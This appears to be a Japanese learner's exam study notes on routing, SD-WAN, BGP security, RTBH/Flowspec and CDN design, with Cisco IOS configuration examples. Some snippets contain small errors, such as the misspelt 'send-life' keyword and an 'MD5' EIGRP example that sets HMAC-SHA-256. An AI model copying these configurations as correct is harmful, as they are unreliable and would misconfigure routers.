└───────┘      └────────┘  (光ファイバー)   └────────┘      └────────┘
                           └───────────────┘
                              ↑ 中間にNTTなどの
                                ダークファイバや
                                網内スイッチが存在

物理的なアクセス回線（光ファイバーやONU）の仕組み自体は、個人宅の光回線（フレッツ光など）と全く同じ。
特別な「MPLS専用の魔法の光ファイバー」が地中に埋まっているわけではない。違いは物理回線ではなく、「集約局（基地局/収容局）でどの網へ振り分けるか（スイッチング）」という論理的な出口（VLANやポート）の話。

Q.再配布のループ防止方法は？——————

本文中では「ループ防止のため経路フィルターを設定」としか書かれていないため具体的なイメージがわかない。なので、ここでは再配布時に発生するループを防ぐ方法を具体的に見ていこう！

手法1：ルートタグ（Route Tag）を使う方法【推奨・最もスマート】

再配布するときに経路へ「目印（数字のタグ）」を貼り付け、そのタグが付いた経路が入ってきたら再配布を拒否する手法。
仕組み：
　・OSPFからBGPへ渡すとき：「タグ 100」 を貼って再配布する
　・BGPからOSPFへ渡すとき：「タグ 100」が付いている経路は再配布をブロックする。
Cisco IOSでの設定コマンド例👇

#① タグを定義するルール（Route-map）を作成
route-map OSPF-TO-BGP permit 10
 set tag 100      #再配布する経路に「100」のタグを貼り付ける

route-map BGP-TO-OSPF deny 10
 match tag 100    #「100」のタグが付いた経路は拒否（再配布しない）
route-map BGP-TO-OSPF permit 20
                  #その他の経路は許可

#② BGPプロセス側で再配布を設定
router bgp 65001
 redistribute ospf 1 route-map OSPF-TO-BGP  #タグ100を貼ってBGPへ入れる

#③ OSPFプロセス側で再配布を設定
router ospf 1
 redistribute bgp 64512 subnets route-map BGP-TO-OSPF  #タグ100付きを拒否してOSPFへ入れる

手法2：ディストリビューションリスト（Prefix-list）を使う方法

自拠点のIPプレフィックスを明示的に指定してフィルタリングする手法。
　仕組み：
　　「自社のIPアドレス範囲（例: 10.0.0.0/8）はBGPからOSPFへ絶対に再配布しない」というフィルターを直書きする。
　デメリット：
　　拠点やネットワークが増えるたびにルータのリストを手動で更新する必要がある（タグ方式の方が自動化できるため実務では好まれる）。

#プレフィックスリストの場合
ip prefix-list prefix_リスト seq 10 deny 10.0.0.0/16
ip prefix-list prefix_リスト seq 20 permit 0.0.0.0/0 le 32

#ACLの場合
access-list ACL名 deny 10.0.0.0 0.0.255.255
access-list ACL名 permit any

router ospf プロセス番号
 distribute-list prefix prefix_リスト名 in #プレフィックスリストの場合
 distribute-list ACL名 in #ACLの場合
 area 1 filter-list prefix prefix_リスト in #エリア1に入ってくるSAを制限
 
*filter-listはprefix-listしか対応していない。
また、BGPのfilter-listはas-pathリストにしか対応していない。

p.12 SD-WANコントローラとエッジルータのmTLS通信とは?——————

mTLS通信とは、Mutual TLS（相互TLS認証）の略でクライアントとサーバーの「双方が」お互いにデジタル証明書を提示し合い、「お前は誰だ？」「お前こそ誰だ？」と互いの身元を確認する通信方式のこと。一般的なWebアクセスではクライアント側が証明書を提供しない、いわば片方向のTLSであることが多い。しかし、クライアント側も証明しなければならないときは、双方向のTLS、つまりmTLSが必要となる。

Q.証明書はだれが？いつ？発行してくれるの？
誰が発行したかをわかっていないと、事前にどのルートCAの証明書をインストールしておくかわからない
A.SD-WAN機器の製造ベンダー（Cisco等）が運営する認証局（ベンダー独自CA）が、工場出荷時（製造工程）に機器固有のクライアント証明書を発行する。 機器側には、このクライアント証明書および秘密鍵、そして検証用のベンダーのルートCA証明書が、TPM等の耐タンパー性を持つ暗号チップ内（ハードウェア領域）にあらかじめプリインストール（組み込み）される。

Q.OMPってなに?————————

Q.SD-WANを勉強していると必ずと言っていいほど、OMPが出てくる。何かの情報を運ぶんだろうなぁという解釈はあるが、いまいちわかっていない。。。なので、ここですっきりしていこう！

A.OMPとはOverlay Management Protocolの略でCisco SD-WAN（旧Viptela）独自で動作するコントロールプレーン用プロトコル。コントローラーとSD-WANルーター間で、オーバーレイ網の構築に必要な各種情報を一括してやり取りする「司令塔通信の言葉」。
一言で言うと、OMPは「拠点同士が直接IPsecトンネルを張るための仲介役（ルーティング＆鍵情報・IP情報の動的交換プロトコル）」。

mTLSでコントロールプレーンが確立された後、コントローラーとルータの間でこの「OMP」という独自ルーティングプロトコルが動き出す。具体的には、以下の3つの情報をOMPでやり取りしている。

１. 相手のIPアドレスや暗号鍵の交換（TLOC情報）
　・ルータAは「自分の今のWAN側IP」や「IPsec用公開鍵」を、OMPに乗せてコントローラーへ送る（収集）。
　・コントローラーは、「対向ルータBのWAN側IP」や「対向ルータBの公開鍵」をOMPに乗せてルータAに配る（配布）。
　・これによって、ルータAとルータBが手動設定なしで直接IPsecトンネルを全自動で張れるようになる。

2. 各拠点配下のLANのルーティング情報（OMP Routes）
　・「拠点Aの配下には 192.168.10.0/24 があるよ」「拠点Bの配下には 192.168.20.0/24 があるよ」というLAN側のルート情報をOMPでコントローラーへ送る。
　・コントローラーがこれを全拠点のルータへ配ることで、各拠点ルータのルーティングテーブルに自動的に相手拠点のルートが追加される。

3. サービスやセキュリティポリシー情報（Service Routes / Policies）
　・「ファイアウォールはデータセンターを通せ」「Teams通信は各拠点から直出し（ブレイクアウト）しろ」といった動的な経路変更指示をOMPで配る。

Q.なんでわざわざOMPを使うの？

OMPを使わずにHTTPやmGRE/NHRPなどの既存の技術を使っても実現できそうなのに、なんでわざわざ、面倒くさそうなOMPを導入しているの？決められたフォーマットを使えばまとめて情報を送れるから？でもそれも、JSONとか使えばHTTPでもフォーマット作ってまとめて送れるよね？あと、HTTPはステートレスっていうけど、セッションの保持時間を長くすればたとえNAT環境とかでもコントローラからの通信を受け取れるよね？

A.既存技術（HTTPやmGRE/NHRP）では、数千台規模の大規模企業網の制御、多重回線の集約、複雑なポリシー制御に耐えられないから。

▼OMPとHTTPの違い
OMPはルーティングプロトコルそのもの。つまり受け取ったポリシーからスムーズにルーティングに落とし込むことができる。一方HTTPはただデータを運ぶだけなので、受け取った後に再度、プログラムを稼働させてからでなければルーティングに落とし込むことができない。いわば無駄なオーバーヘッドが生まれてしまうということ。なので、OMPを使うべき。

Ｑ．OMPで配布する情報とそれ以外で配布する情報の違いは？

要は、拠点に依存しない設定であればZTP直後に配布する。逆に拠点依存の設定はOMPで動的に配布するという棲み分けがある。

Q.SD-WANにおけるIPsec構築フロー

1. 初期生成（ローカル）：各エッジルーターは起動時、内部でDH鍵ペア（秘密鍵 a, 公開鍵 A）を生成する。
   • 公開鍵 A の計算式: A＝ g^a mod p (g と p は共通ポリシーで固定指定された値）
2. OMPによる集約と配布（制御プレーン）：ルーターは自身の「WAN側IP」「UDPポート」「公開鍵 A」などをセット（TLOC Route）にして、OMPでコントローラーへ送信。コントローラーはこれを全拠点へ一括配布する。
3. 共通鍵の自動導出（ローカル）：拠点1は、OMPで届いた「拠点2の公開鍵 B」と「自分の秘密鍵 a」を掛け合わせ、共通鍵 K を計算する。
   • 拠点1の計算: B^a mod p = (g^b)^a mod p = g^ab mod p
   • 拠点2の計算: A^b mod p = (g^a)^b mod p = g^ab mod p
     双方の手元で交渉なしに全く同じ共通鍵 K が完成する。
4. 事前確立とデータ通信（データプレーン）：通信が発生する前にバックグラウンドでIPsecトンネルを開通。実際のデータ通信時には、導き出した共通鍵 K（AES）で高速に暗号化・復号を行う。

以上のようなフローになる。また、上記より、SD-WANではIKEが不要であることが分かる。

Q.なぜ DMVPN では IKE をやめられなかったのか？

1. 理論的には可能だった
   NHRP を拡張して「IPアドレス」と一緒に「各拠点ルータの公開鍵」もハブから配れば、理論上は IKE を排除できる。
2. ハードウェアと役割の限界（現実の壁）
   当時のハブは単なる 1 台の物理ルーターであり、パケット転送処理でスペックがカツカツ。全拠点の鍵の最新状態や Re-key（更新）までハブで一元管理すると莫大なメモリ領域、CPUが必要で処理が破綻するため、「鍵交渉や認証（IKE）は拠点同士で直接やってくれ」 という設計（割り切り）にせざるを得ない。

Q.なぜ SD-WAN では IKE を捨てられたのか？

1. 制御（Control）と転送（Data）の分離
   パケット転送を行わない「制御専用」のコントローラー（vSmart等）を分離独立させた。
2. クラウド・サーバのハイスペック化
   クラウド上の強力な CPU/メモリ を背景に、中央コントローラーが「全拠点の認証」「暗号ルールの統一」「安全なパイプ（mTLS/OMP）での鍵配布」をすべて一括処理できるようになった。
3. 結果
   IKE がやってくれていた泥臭い事前交渉をすべてコントローラーが完了させておいてくれるため、エッジルーター同士は IKE 交渉をスキップしていきなり IPsec トンネルを開通できるようになった。

p.12 なぜSD-WANはVRFが必要なの？

Q.「MPLS-VPNのPEルータみたいに複数の企業と接続するためにVRFでルーティングを分ける」という理由ならVRFの必要性にうなずける。しかし、SD-WANの場合は１つの会社の拠点間で運用されているので、ルーティングが混ざっても問題ないのではないか？それなのになぜVRFを使うの？

A.SD-WANにおけるVRFは「ルーター内部で『アンダーレイ（制御用通信）』と『オーバーレイ（社内データ通信）』を分けるためのセキュリティ壁として利用されている。

ループの構成を簡単にすると👇
①わからない宛先があった、0.0.0.0は本社IPsecだな！よし、IPsecに入れよう！
②よし、カプセル化できたからインターネット経由で流そう！インターネットのルーティングはわからないから0.0.0.0のデフォルトルートで流そう！
③ん？デフォルトルートはIPsecに入れるの？
というように、ループが発生する。
なので、そもそも、１つのデフォルトルートを参照し続けるのではなく、ルーティングテーブルを２つ持って、それぞれのデフォルトルートを持てば解決するよねっていう単純な話だったのである。

Q.もし、VRFを使わないと何が起きるの？

SD-WANでVRFが使われるのは制御プレーンとデータプレーンを分けるためという理解はできたが、もし、分けなかったら具体的に何が起きるのかがいまいちイメージできない。なので、それをはっきりさせていこう！

制御プレーンとデータプレーンのループ（矛盾）が生まれる

ルーティングテーブルが1つ（単一のVRF）しかない場合、「トンネルを作るための外側のパケット」と「トンネルを通すための内側のパケット」の宛先判断が混ざり、ルーティングの無限ループ（再帰的ルーティングループ）が発生する。具体的には、センタートラフィック集約で、わからないルートはすべて本社のIPsecに流すとい設定をした場合に発生する。ローカルブレイクアウトではこれは起きない。
▼具体的な発生メカニズムとフロー
前提：
　拠点Aの物理WAN IP： 203.0.113.1（アンダーレイ）
　拠点Bの物理WAN IP： 198.51.100.2（アンダーレイ）
　IPsecトンネル（データプレーン）： 拠点Aと拠点Bの間に張り、デフォルトルート（0.0.0.0/0）または他拠点宛の経路をトンネル向けに向ける。

①.拠点AのPCから通信が発生:
　拠点Aの社内PCが、拠点B宛にデータ（例: 10.2.0.5）を送信
②.IPsecトンネルへルーティング:
　拠点Aのエッジルーターはルーティングテーブルを参照
　「10.2.0.0/24 宛は IPsecトンネル（ipsec0） に送る」というルールに従い、パケットをトンネルに送る
③.暗号化と外側ヘッダー（ESP）の付与:
　ルーターは元のパケットを暗号化し、対向の物理WAN IP（拠点B: 198.51.100.2）へ届けるため、新しいIPヘッダー（送信元: 203.0.113.1 / 宛先: 198.51.100.2）を包み込むように付与（カプセル化）する。
④.【障害発生】外側パケットの再ルーティング:
　カプセル化した「新しいパケット（宛先: 198.51.100.2）」を実際にWANポートから物理送信するため、ルーターはもう一度同じルーティングテーブルを参照する。
　ここで、OMPや動的ルーティングにより「0.0.0.0/0（全通信）は IPsecトンネル（ipsec0） に送る」という集約ルートや過剰な経路が入っていると、ルーターはこう判断する。
「198.51.100.2 宛のパケットも、IPsecトンネル（ipsec0）の中に送らなきゃ！」
⑤.無限ループ（カプセル化の再帰）:
　「暗号化パケット」をさらにIPsecトンネルに送り込むため、ルーターはもう一度暗号化し、さらに外側に新しいIPヘッダーを付与。
以上👆より、要は、
①わからない宛先があった、0.0.0.0は本社IPsecだな！よし、IPsecに入れよう！
②よし、カプセル化できたからインターネット経由で流そう！インターネットのルーティングはわからないから0.0.0.0のデフォルトルートで流そう！
③ん？デフォルトルートはIPsecに入れるの？
というように、ループが発生する。

結果として「カプセル化されたパケットを、さらにカプセル化してトンネルに投げる」という処理がメモリやCPUの限界まで無限に繰り返され（またはTTL切れで廃棄され）、通信が完全に破綻する。
しかし、これはあくまでもデフォルトルート（0.0.0.0/0）をIPsecにすべて流すようなセンタートラフィック集約を意図した場合である。ローカルブレイクアウトであれば、パケットがカプセル化（IPsec化）されないため、「暗号化された外側パケットがもう一度トンネルに吸い込まれる」という現象自体が起こり得ない。

Q.なぜ普通のルーター（従来のIPsec）はVRFを使わずにループしないのか？

ループのメカニズムを確認すると、SD-WANに限った話ではないように感じる。しかし、旧来のIPsecルータはVRFをデフォルトで必要としない。でもループは起きない。ではなぜか？？

A.普通のルーター（CiscoのIOSなど）で「全通信（0.0.0.0/0）をIPsecトンネルに投げる」設定をした場合、ルーター内部では特殊な処理（ローカル配送の例外処理）が働いている。

【従来のルーター内部の例外処理】
1. PCから通信が来る ➔ ルーティングテーブルを見て「0.0.0.0/0 宛てだから Tunnel0（IPsec）へ投げる」
2. ルーターが暗号化して「対向物理IP（200.200.200.200）」を外側に貼り付ける。
3. ★ここがポイント！★
   従来のIPsec（GRE/VTIなど）機能は、「自分自身が生成した暗号化後の物理パケット（宛先: 200.200.200.200）」を、もう一度ルーティングテーブルに通すのではなく、物理WANポート（Ge0/0）へ直接吐き出す特殊なマーク（ソケットバインド）を内部で自動的に行う。

従来のルーターは「暗号化したパケットは例外的にループ判定から外して物理WANに出す」というOS内部の泥臭いハードコード（内部実装）によって、単一VRFでもギリギリでループを防いでいた。

Q.SD-WANにおけるBFDとは？——-

Q.どの区間でBFDが実施されるの？
A.BFDが実施されるのは拠点間。コントローラとの通信はOMPのKeepAliveを使う。

Q.なんで拠点間はBFDを使うの？
A.コントローラとの通信はリアルタイム性がそれほど求められないため、OMPのKeepAliveで十分。一方、拠点間の通信は実際のデータパケットが流れるため、より障害に敏感にならなければならないから。なので、ミリ秒単位で障害を検知できるBFDを使う

Q.IPsecのKeepAlive機能じゃダメなの？
A.IPsecにも障害を検知するための機能がある。それがDPD（DeadPeerDetection）である。しかし、それはBFDに比べ、検知が遅く品質も判断できないという粗い精度なので、より高性能なBFDを使っている。

（１）ウ： 大きい　エ： 小さい

これは知識問題。LOCAL＿PREFは大きな値が優先され、MEDは小さな値が優先される。

▼設定方法

#Local-Preference
route-map ルートマップ名 permit シーケンス番号
 set local-preference 値　#デフォルト値は100

router bgp AS番号
 neighbor ネイバーIP route-map ルートマップ名　in
 
 
 
#MED
route-map ルートマップ名 permit シーケンス番号
 set metric 値　#デフォルト値は0
 
router bgp AS番号
 neighbor ネイバーIP route-map ルートマップ名　out

（３）不正なBGP接続

隣接ASのBGPルータとMD５認証のための共通のパスワードを設定することで、「不正なBGP接続」を防ぐことができる。

Q.なんで不正なBGP接続を防ぎたいの？
A.「不正な経路の混入（Route Hijacking）」や「誤った経路の流出・漏洩（Route Leak）」を防ぐため。

▼設定方法
*OSPFやEIGRPの認証方法が気になる場合はこちら

#認証設定方法（シンプルバージョン）-------------------------------
router bgp AS番号
neighbor 192.0.2.2 password MySecretPassword123

#認証設定方法（キーチェーンを使うバージョン）-----------------------
key chain キーチェイン名
 key キー番号
  key-string パスワード
  send-life 00:00:00 Jan 1 2026 23:59:59 Dec 31 2026
  accept-lifetime 00:00:00 Jan 1 2026 23:59:59 Dec 31 2026

 key キー番号
  key-string パスワード
  send-life 00:00:00 Jan 1 2026 23:59:59 Dec 31 2026
  accept-lifetime 00:00:00 Jan 1 2026 23:59:59 Dec 31 2026
  
router bgp 65001
 neighbor 192.0.2.2 password encrypted-key-chain キーチェイン名
  
#send-lif：このカギを送信時に使う期間
#accept-lifetime:このカギを受信時に使う期間

（４）不正な経路に含まれるアドレスブロックへのコンテンツ配信ができなくなる。

Q.不正な経路が混入するとネットワークではどのようなことが起きてしまうのか？
A.以下のメカニズムを見ていこう！
１．不正な経路の受取：
　悪意あるAS（あるいは設定ミスのAS）から、「このIPアドレスブロック（例：203.0.113.0/24）宛ての通信は俺のところ（不正なAS）に送れ！」というBGP UPDATEメッセージが届きます。
２．ルーティングテーブルの汚染：
　E社のBGPルーターがフィルタリングせずにそれを受け取ってしまうと、正しい行き先ではなく、不正なAS宛ての経路を「正解」として登録してしまいます。
３．トラフィックの迷子（ブラックホール化 / 盗聴）：
　 E社（PoP）からゲーム端末（ユーザー）へコンテンツデータ（ゲーム配信等）を送ろうとした際、不正な経路に従って送信されるため、データは本物のユーザーへ届かず、途中で破棄（Null）されるか、攻撃者のルーターへ吸い込まれて到達不可になります。

設問３

（１）攻撃パケットを攻撃もとに近いところで遮断できる。

RTBHを使うとBGPルータ（エッジルータ）でパケットをドロップさせることができる。以下のような特徴があるので、見てみよう。

• 「ファイアウォール（FW1）に届く前」 ➔ FW1でフィルタリング（ACL等）をする場合、攻撃パケットは「BGPルータ1 ➔ 中間ルータ ➔ FW1」まで届いてしまう。RTBHを使えば、FW1どころか中間ルータや内部回線を圧迫する前に破棄できる。
• 「エッジルーター（BGPルータ1）で破棄できる」 ➔ POPの最前線（インターネットとの境界）にある BGPルータ1 の段階で Null0（ペイツー/廃棄）に送るため、内部ネットワークへ侵入することを防止できる。
• 「攻撃元に近いところで遮断できる」の意味： FW1という「システムの奥側（内部）」と比較した時に、インターネットとの境界線である「入口（BGPルータ1）」というより攻撃元（インターネット側）に近い最前線で遮断できるという意味。

要は「FW1まで届かせることなく、入口であるBGPルータ1（エッジ）で即座に破棄できるため、FW1や内部帯域への負荷を防げる」という理解でOK！

（２）より細かい条件で選別して破棄することができる

BGP FlowspecはRTBHよりも細かなフィルタリングが可能。以下、RTBHの限界とFlowspecの進化を見ていこう！
▼RTBH（Remotely Triggered Black Hole）の限界
従来のBGP（NLRI）は「IPプレフィックス（宛先IP）」しか広報できなかった。そのため、特定の宛先IP宛ての通信を丸ごと Null0 へ引き込んで破棄するしかなく、正常なユーザーの通信まで巻き添えで遮断（共倒れ）してしまうという弱点があった。

▼BGP Flowspec（Flow Specification）の進化
・MP-BGP（拡張NLRI）の利用: 宛先IPだけでなく、「送信元IP」「プロトコル（TCP/UDP等）」「送信元/宛先ポート番号」「ICMPタイプ」といったL3/L4の複数条件（フロー情報）をNLRIに乗せて送信可能になった。
・BGP拡張コミュニティ属性（Extended Community）の利用: そのフローに対してどのような処理を行うかという「アクション（Discard/破棄、Rate-limit/帯域制限など）」を一緒に伝達できる。
・動的ACLの生成: ルータ（BGPルータ）はこれを受け取ると、内部で動的にACL（アクセスリスト）をインストールし、ピンポイントなトラフィックだけをフィルタリングする。

さらに深いVersion….

p.3 なぜ端末内のデータを暗号化するの？ｰｰｰ

Q.正直、端末内にあるデータを暗号化する必要性が分からない。。
別にプライバシー情報が入力されていたりするわけじゃないのに。。。
A.データの改ざんを防ぐため。平文で保存するとユーザがテキストエディタや専用ツールでセーブファイルを開き、「所持金：999999」「スコア：999999」のように簡単に書き換えられてしまいます。暗号化しておくことで、ファイルの直接編集を困難にする。

p.3 ロードバランサーの処理フロー（DNSや振り分けなど..）

１．クライアントは203.x.11.21へアクセスする
２．LBはURLをもとに適切な内部サーバへ割り振る
１つのIPアドレスで３つのサービスを運用する場合は、Hostヘッダフィールドを確認することで適切な宛先をLBが判断できるようになる。
３．内部サーバが処理

このような流れでLBはサービス提供の通信を支えている。

p.4 CDNを採用する理由は？—

Q.グローバル化と大容量化するとCDNを導入した方がいいの？なんで？
A.👇
グローバル化への効果： 世界各地の最寄りPOPから配信し、「物理的な距離による遅延（レイテンシー）」を減らす。
大容量化への効果： キャッシュサーバーが配信を肩代わりし、自社インフラの「回線帯域とサーバー負荷のパンク」を防ぐ。

CDNのフロー

１．企業AとCDN事業者Bが契約する
２．企業A側がDNS設定で、当該サービスのIPアドレスをCDN事業者宛てのIPに変える
３．最初の1人目が東京のPOPにアクセスする。
４．東京POPは「あれ？このファイル（ゲームα）持ってないな」となり、D社のデータセンター（オリジン）へ1回だけ取りに行く（ここで1回だけD社〜POP間で大容量通信が発生）。
５．東京POPは受け取ったデータをキャッシュ（保存）しつつ、1人目のユーザーに渡す。
６．2人目〜10万人目のユーザーが東京POPにアクセスする。
７．東京POPは自分の手元にあるキャッシュを渡すだけ。D社のデータセンターへは1回もアクセスがいかない。
８．もしシンガポールからの要求があった場合はシンガポールPOPが対応する。シンガポールPOPに情報がない場合は、オリジンへの大容量通信が１度だけ発生する。

p.4 POPって何？—

Q.POPってなに？CDNを勉強すると、必ずと言っていいほど頻出するこの単語。なんとなくは理解しているつもりだけど、詳細はいまいちわかっていない。。。
A.POP（Point Of Presence）の略。PoPは単一の物理サーバーではなく、「CDN事業者が各地のデータセンター内に置いている設備一式（物理的な拠点・ラック群）」のこと。
PoPの中身は、大きく分けて2つの役割の機器で構成されている。
　・ロードバランサー（LB）： 拠点（PoP）の入り口に立つ交通整理役
　・多数のキャッシュサーバー： 実際にWebページやゲームファイルを保存して配信するサーバー群（数十〜数百台）

どうやってPOP内部の多数のキャッシュサーバに割り振るの？–

Q.POP内部には多数のキャッシュサーバが配置されている。多数のキャッシュサーバーがある中で、どうやって目的のサーバーまで辿り着き、複数の会社（マルチテナント）のデータを区別しているの？
A.結論から言うと、「特定の会社専用のキャッシュサーバーがあるわけではなく、どのキャッシュサーバーも全会社のデータを扱える」のがカラクリ。

[ ユーザーのリクエスト ]
  │  HTTP Header ──>  Host: alpha.example.net (D社のゲーム)
  ▼
【 1. LB (ロードバランサー) の処理 】
  │  ・Hostヘッダーを見る必要は必ずしもない（単に「暇なサーバー」を選ぶだけ）
  │  ・IPレベル/TCPレベルで、一番負荷が低い「キャッシュサーバー3」へ丸投げ
  ▼
【 2. キャッシュサーバー3 の処理 】
  │  ・届いたHTTPリクエストの「Host: alpha.example.net」をチェック
  │  ・自機のディスク/メモリ内を検索：「D社のデータはあるか？」
  │
  ├─ [ パターンA：キャッシュ有り (Hit) ]
  │      保存してあるデータをそのままユーザーへ返却して終了！
  │
  └─ [ パターンB：キャッシュ無し (Miss) ]
         D社のオリジンサーバーへデータを取りに行き(同期)、
         自分のストレージに保存してからユーザーへ返却！

ポイント：会社の特定は「キャッシュサーバー」がやるということ
。。。ん？どうやって？
A.URL（ホスト名＋パス）をラベルにした巨大なメモ書き（データベース）をサーバ内に持っておく。初学者が持つイメージは「①あ、このURLってことは、②この会社で、この会社ってことはサーバ内の③この領域で、で、その領域の④ここにデータが配置されている！」みたいなステップをイメージする。しかし、実際は「あ、このURLね。データベースで検索して、あ、このデータね！」という極めて単純なステップで解決する。

Q.どうやって最寄りのPOPに引き込むの？DNS設定とかで工夫するの？

A.POPを経由させるにはBGP Anycast方式がある。

BGP Anycast方式

　仕組み：世界中にあるすべてのPoP（東京、シンガポールなど）が、全く同じIPアドレスをインターネット上にBGPで経路広告する。
　ルーティング：ユーザーがそのIPアドレスにアクセスすると、インターネット上のルーターがBGPの仕組み（経路長など）に基づき、自動的に物理的・ネットワーク的に最も近いPoPへパケットを誘導する。
　特徴：DNSでアクセス先を切り替える必要すらなく、IPアドレスレベルで自動的に最寄りのPoPに届く。

BGP Anycastフロー

１．企業A社とCDN事業社Bが契約する
２．BがAにアドレスブロックを割り当てる
３．AがDNS設定で、オリジンサーバ宛てのIPをB社から割り当てられたIPに変更する
４．B社の複数POPがBGPで当該IPを広告する
５．BGPの経路選択によって最寄りもPOPが使われるようになる。

Q.BGP Anycastは複数のPOPが同一のIPアドレスを広告している。それが許可されるなら、誰でも偽ったIPを広告できちゃうんじゃないの？（BGPハイジャック）

確かに、複数の拠点で同一のIPアドレスを広告できてしまうなら誰でも、例えばGoogleのIPを広告できたりとかしちゃえるのでは？と疑問が出る。そういった不正を防ぐ工夫がBGPには用意されている。では、見ていこう！

① RPKI（Resource Public Key Infrastructure）による暗号署名

IPアドレスの所有者（例: E社）は、レジストリ（APNICやJPNICなど）に「このIPアドレスブロックは、AS-Eだけが広告できる」というデジタル証明書（ROA）を登録します。他のASが勝手に広告しても、暗号的に署名が一致しないため無効（Invalid）として世界中で破棄されます。

＊レジストリ：世界中のIPアドレス、AS番号を割り振っている元締めのこと。「このIPアドレス範囲はこの組織に貸し出したものだ！」とかを一元管理している。

② IRR（Internet Routing Registry）での事前登録

プロバイダ同士がBGPで接続する際、「どのIPアドレスを広告する予定か」をデータベース（IRR）に事前登録します。登録にないIPを勝手に広告しても、接続先のプロバイダでブロックされます。

③ 隣接ASでの経路フィルタリング

BGPルーターは、受け取った経路情報が「事前契約された正規のIPアドレスとAS番号の組み合わせ」と一致するかを常にチェックし、一致しない不正な経路はフィルタリング（遮断）します。

CDNはどうやって大容量通信をさばいているの？—

Q.CDNは企業側サーバに負担がかかるのを減らすために利用される。要は、企業側の負担がすべてCDNに降りかかることになる。そのような大容量をCDNではどうやってさばいているの？もし、それができるなら、企業側もその技術使っちゃえばいいじゃん？
A.超大規模なインフラと帯域のバルク買い（スケールメリット）
CDN事業者（CloudflareやAkamaiなど）は、世界中の主要なIX（インターネットエクスチェンジ：プロバイダ同士の交差点）や大手ISP（NTT、KDDI等）のデータセンター内部に直接自社のサーバー（PoP）を設置している。テラビット級（Tbps）の超絶に太い回線と何千台ものサーバーを抱えており、個人企業とは桁違いのインフラ規模を持っている。

Q.「データセンター内部に直接自社のサーバー（PoP）を設置している」とは？
A.CDN事業者が、ISPやデータセンター事業者の「コロケーションサービス（場所や電源を借りる仕組み）」を利用して、相手の建物内に自社のPoP（サーバー群）を設置しているということ。
特に大手ISPに対しては、お互いに通信コストを削減できるメリットがあるため、ISP側から「お願いだからうちの設備内にPoPを置いてください！」と連携を打診されるケースもある。

p.5 IXとは？—

各プロバイダ（A社、B社、C社…）やコンテンツ事業者（Google、Amazon、Cloudflare等）が、それぞれ1本ずつIXの設備（巨大なL2スイッチ）に回線を差し込む場所。これによって、高額な上位回線（トランジット）を経由しなくてもIXに参加している事業者同士で直接BGPの経路情報（「このIP宛てはうちへ送って！」）を交換できるようになった。

いろいろな認証コマンド

p.5でBGPに関する認証が出てきた。なので、ついでにOSPFやEIGRPの認証方法も学んでおこう！

▼OSPF設定方法

#インタフェース単位のMD5認証
int g0/0
ip ospf authentication message-digest #MD5認証の有効化
ip ospf message-digest-key キーID md5 パスワード #キーIDとパスワードの設定

#インタフェース単位の平文認証
int g0/0
ip ospf authentication
ip ospf authentication-key パスワード

#エリア単位の認証
router ospf 1
 area 0 authentication message-digest #エリアでMD5認証を有効化する

int g0/0
 ip ospf message-digest-key キーID md5 パスワード
 
#キーチェインを使う場合
key chain キーチェイン名
 key キー番号
  key-string パスワード
  cryptographic-algorithm hmac-sha-256
  send-life 00:00:00 Jan 1 2026 23:59:59 Dec 31 2026
  accept-lifetime 00:00:00 Jan 1 2026 23:59:59 Dec 31 2026

int g0/0
 ip ospf authentication key-chain キーチェイン名

▼BGP設定方法

#認証設定方法（シンプルバージョン）-------------------------------
router bgp AS番号
neighbor 192.0.2.2 password MySecretPassword123

#認証設定方法（キーチェーンを使うバージョン）-----------------------
key chain キーチェイン名
 key キー番号
  key-string パスワード
  send-life 00:00:00 Jan 1 2026 23:59:59 Dec 31 2026
  accept-lifetime 00:00:00 Jan 1 2026 23:59:59 Dec 31 2026

 key キー番号
  key-string パスワード
  send-life 00:00:00 Jan 1 2026 23:59:59 Dec 31 2026
  accept-lifetime 00:00:00 Jan 1 2026 23:59:59 Dec 31 2026
  
router bgp 65001
 neighbor 192.0.2.2 password encrypted-key-chain キーチェイン名
  
#send-lif：このカギを送信時に使う期間
#accept-lifetime:このカギを受信時に使う期間

▼EIGRP設定方法
＊EIGRPはキーチェインの設定が必須

#HMAC-SHA-256バージョン
key chain キーチェイン名
 key 1
  key-string MyEigrpPassword123
  cryptographic-algorithm hmac-sha-256

int g0/0
 ip authentication mode eigrp 100 hmac-sha-256 キーチェイン名
 
#MD5バージョン
key chain キーチェイン名
 key 1
  key-string MyEigrpPassword123
  cryptographic-algorithm hmac-sha-256
  
int g0/0
 ip authentication mode eigrp 100 md5
 ip authentication key-chain eigrp 100 キーチェイン名

p.5 BGPで経路フィルタリングをするには？

本文中に、不正経路の混入を防ぐためにフィルタリング設定を行っている旨の記述がある。これを実際にどうやっているのかを見ていこう！

１．アドレスブロックの偽装を防ぐ手法

ip prefix-list プレフィックス名 seq シーケンス番号 permit IPアドレス/数字

router bgp AS番号
 neighbor ピアIP prefix-list プレフィックス名 in

上記のコマンドを実施することによって、接続先ASが持つプレフィックスのみを取得できる。これによって、対向ルータから8.8.8.8などの経路が送られてきてもdropできる。

２．AS番号の偽装を防ぐ手法

ip as-path access-list ACL名 permit 正規表現

router bgp AS番号
 neighbor ピアIP filter-list ACL名 in